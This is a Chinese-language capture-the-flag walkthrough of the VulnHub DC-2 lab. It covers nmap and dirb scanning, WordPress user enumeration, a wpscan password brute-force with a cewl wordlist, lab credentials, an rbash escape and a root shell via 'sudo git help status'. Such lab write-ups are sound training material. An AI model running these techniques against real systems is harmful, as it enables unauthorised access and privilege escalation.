步骤一:环境搭建
1、与DC-1很相似,DC-2是另一个专门建立的易受攻击的实验室,目的是获得渗透测试领域的经验。
2、下载靶场环境
靶场下载地址:https://www.vulnhub.com/entry/dc-2,311/
步骤二:渗透靶场
1、目标:就是我们搭建的靶场,靶场IP为:XXX.XXX.XXX.XXX/24
2、信息收集:寻找靶机真实IP
nmap - sP 192.168.174.0/24
3、信息收集:探端口及服务
nmap -A -p- -v 192.168.174.130
发现了80端口,存在web服务,Apache/2.4.10
发现开放了7744端口,开放了ssh服务,OpenSSH 6.7p1
4、访问web站点
发现访问不了,输入的IP地址自动转化为了域名,我们想到dc-2这个域名解析失败,我们需要更改hosts文件,添加一个ip域名指向。
修改hosts文件,添加靶机IP到域名dc-2地指向
vim /etc/hosts
添加完成之后,再次去访问,访问成功
可以明显发现这是一个wordpress的站点
5、发现flag1 在网页下面的flag
点进入发现是flag1,大致意思就是暴力破解账号和密码
6、做一个目录扫描
dirb http://dc-2/
发现疑似后台地址
打开上面第一个链接,打开之后进入到登录页面
发现多个遍历,但好像没有什么有用的东西
7、用户名枚举
前面提到这是一个wordpress的站,我们采用专门针对wordpress的工具wpscan来进行扫描
Wpscan一些常用的语句:wpscan --url http://dc-2
wpscan --url http://dc-2 --enumerate t 扫描主题
wpscan --url http://dc-2 --enumerate p 扫描插件
wpscan --url http://dc-2 --enumerate u 枚举用户
扫描wordpress版本
wpscan --url http://dc-2
发现wordpress的版本4.7.10
登录页面尝试登录
随即输入用户名密码,提示用户名不存在,似乎可以进行用户名枚举
首先来个用户枚举,在尝试利用枚举到的用户爆破密码
wpscan --url http://dc-2 --enumerate u
枚举出三个用户名
admin jerry tom
8、暴力破解出账号密码
根据flag1可以用暴力破解,我们使用cewl生成字典,
cewl http://dc-2/ -w dict.txt 或者 cewl http://dc-2/ > 1.txt
使用wpscan进行暴力破解
wpscan --url http://dc-2 --passwords dc2.txt
爆破出来两个账号
jerry/adipiscing
tom/parturient
jerry/adipiscing登录此站点
tom/parturient登陆此站点
9、发现flag2
登录后台之后,我们看到flag2,我用的是jerry的账号
点进去之后看到flag2提示信息,简单说就是如果wordpress行不通的话就会一个点,我们之前发现有ssh,我们看看ssh
If you can't exploit WordPress and take a shortcut, there is another way.
如果你不能利用WordPress并采取一条捷径,还有另外一种方法。
Hope you found another entry point.
10、在tom的家目录发现flag3
jerry/adipiscing
tom/parturient
登录ssh
ssh tom@192.168.66.141 -p 7744
在tom账号的家目录 发现flag3
cat用不了
我这里把查看命令都尝试了一遍 less和vi可以来查看,
提示内容如下
接下来,尝试rbash绕过详情参考 https://xz.aliyun.com/t/7642
查看可以使用的命令
echo $PATH
cd进不去目录 使用ls直接查看目录信息
使用echo来绕过rbash
BASH_CMDS[a]=/bin/sh;a
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin
echo /*
11、在jerry的家目录发现flag4
看到提示信息如下:
大致意思就是还没有结束。猜想需要提权才能获取到最终的flag,并且flag4 提示我们可以使用git
我们可以通过git来提权
使用tom用户无权限运行sudo 我们切换到jerry用户
我们可以看到无需root权限,jerry 可以使用 git
sudo -l
12、提权
查看一下可以使用的root权限命令
find / -user root -perm -4000 -print 2>/dev/null
jerry用户也不可以直接sudo su
使用git命令进行提取
sudo git help status
输入!/bin/sh,直接输入就行
提权成功
13.发现final-flag.txt
cd /root
cat final-flag.txt
根据以上步骤则实验完成!